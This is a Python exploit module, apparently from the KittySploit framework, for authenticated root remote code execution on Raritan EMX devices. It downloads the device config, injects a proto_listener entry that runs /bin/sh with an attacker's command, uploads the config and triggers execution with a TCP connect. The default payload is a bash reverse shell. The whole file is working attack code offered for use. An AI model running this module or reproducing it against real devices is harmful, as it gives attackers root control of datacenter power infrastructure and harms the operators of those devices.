Raritan EMX port_mux config injection root RCE

"""Raritan EMX authenticated port_mux proto_listener config injection root RCE."""
from __future__ import annotations
import re
import socket
import time
import uuid
from urllib.parse import urlencode
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Raritan EMX port_mux config injection root RCE', 'description': 'Login → download config → inject proto_listener[http] program=/bin/sh → upload → TCP connect triggers execv as root.', 'author': ['KittySploit Team'], 'platform': Platform.MULTI, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['raritan', 'emx', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/raritan_emx_portmux_root_rce_detect']}}}
    DEFAULT_MARKER = '/tmp/raritan_emx_rce_marker'
    port = OptPort(80, 'EMX HTTP management port', required=True)
    ssl = OptBool(False, 'Use HTTPS', required=False)
    username = OptString('admin', 'Web login', required=True)
    password = OptString('', 'Web password', required=True)
    inject_port = OptPort(8888, 'Injected listener port for trigger', required=False)
    proof_path = OptString('/tmp/raritan_proof.txt', 'HTTP GET path if written under docroot', required=False)
    marker_file = OptString(DEFAULT_MARKER, 'Shell marker file on target', required=False)

    def _login_token(self) -> str | None:
        body = urlencode({'login': str(self.username or ''), 'password': str(self.password or '')})
        resp = self.http_request('POST', '/cgi-bin/login_session.cgi', data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, session=True)
        if not resp or int(resp.status_code or 0) != 200:
            return None
        text = resp.text or ''
        if 'token:' not in text:
            return None
        return text.split('token:', 1)[1].strip()

    def _download_config(self, token: str) -> str | None:
        resp = self.http_request('GET', '/cgi-bin/raw_config_download.cgi', headers={'X-Sessiontoken': token}, session=True)
        if not resp or int(resp.status_code or 0) != 200:
            return None
        return resp.text or resp.content.decode('latin-1', errors='replace')

    def _build_config(self, current: str, inject_port: int, shell_cmd: str) -> str:
        lines = current.splitlines()
        kept = [line for line in lines if not line.startswith('proto_listener[http].')]
        inj = ['proto_listener[http].enabled=1', 'proto_listener[http].listen_type=any', f'proto_listener[http].port={inject_port}', 'proto_listener[http].program=//bin/sh', 'proto_listener[http].program_args[0]=-c', f'proto_listener[http].program_args[1]={shell_cmd}']
        ins = next((i for i, line in enumerate(kept) if line.startswith('proto_listener[')), len(kept))
        out = kept[:ins] + inj + kept[ins:]
        return '\n'.join(out) + '\n'

    def _upload_config(self, token: str, config_text: str) -> tuple[bool, str]:
        boundary = '----raritan' + uuid.uuid4().hex[:8]
        body = f'--{boundary}\r\nContent-Disposition: form-data; name="config_file"; filename="config.txt"\r\nContent-Type: application/octet-stream\r\n\r\n{config_text}\r\n--{boundary}--\r\n'.encode('latin-1')
        resp = self.http_request('POST', '/cgi-bin/raw_config_update.cgi', data=body, headers={'X-Sessiontoken': token, 'Content-Type': f'multipart/form-data; boundary={boundary}'}, session=True)
        if not resp:
            return (False, 'upload failed')
        text = resp.text or ''
        ok = int(resp.status_code or 0) == 200 and 'return_code=0' in text
        return (ok, f'HTTP {resp.status_code} {text[:200]}')

    def _tcp_trigger(self, port: int) -> str:
        host = str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '')
        try:
            sock = socket.create_connection((host, port), timeout=15)
            sock.close()
            return f'TCP connect {host}:{port} OK'
        except OSError as exc:
            return f'TCP trigger failed: {exc}'

    def execute(self, cmd: str) -> str:
        token = self._login_token()
        if not token:
            return 'login_session.cgi failed'
        current = self._download_config(token)
        if not current:
            return 'raw_config_download failed'
        marker = str(self.marker_file or self.DEFAULT_MARKER)
        shell_line = f'{{ {cmd}; }} > {marker} 2>&1'
        iport = int(self.inject_port or 8888)
        malicious = self._build_config(current, iport, shell_line)
        up_ok, up_msg = self._upload_config(token, malicious)
        if not up_ok:
            return f'config upload: {up_msg}'
        time.sleep(2)
        trig = self._tcp_trigger(iport)
        proof = str(self.proof_path or '')
        proof_msg = ''
        if proof.startswith('/'):
            resp = self.http_request('GET', proof)
            if resp and int(resp.status_code or 0) == 200:
                proof_msg = f"; GET {proof}: {(resp.text or '')[:200]}"
        return f'config injected; {trig}; verify {marker}{proof_msg}'

    def check(self):
        resp = self.http_request('GET', '/cgi-bin/login_session.cgi')
        if resp and int(resp.status_code or 0) < 500:
            return {'vulnerable': True, 'reason': 'Raritan login CGI reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'EMX web not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set web password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('config injection → port_mux trigger')
        print_info(self.execute(shell))
        self.vulnerable()
        return True